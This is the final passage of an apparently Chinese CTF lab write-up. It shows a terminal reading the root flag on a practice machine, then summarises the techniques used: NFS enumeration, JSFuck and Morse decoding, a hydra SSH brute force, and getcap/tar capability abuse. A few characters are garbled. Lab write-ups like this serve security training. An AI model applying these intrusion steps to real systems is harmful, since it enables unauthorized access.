drwxrwxrwt	2	root	root	4096	Jan	6	13:42	XIM-unix
nonnicacin	HOM	·/+mn¢						

```
drwxrwxrwt 2 root root 4096 Jan 6 13:42 pxed-time
norris@sirrom:/tmp$ cd root
norris@sirrom:/tmp/root$ ls
root.txt
norris@sirrom:/tmp/root$ cat root.txt
8fc9376d961670ca10be270d52eda423
norris@sirrom:/tmp/root$
```

### 4 总结

- nfs 检测
- jsfuck 编码解密
- 摩斯密文解密
- hydra 测试 ssh 安全
- getcap 文件分析 ۲
- tar 打包文件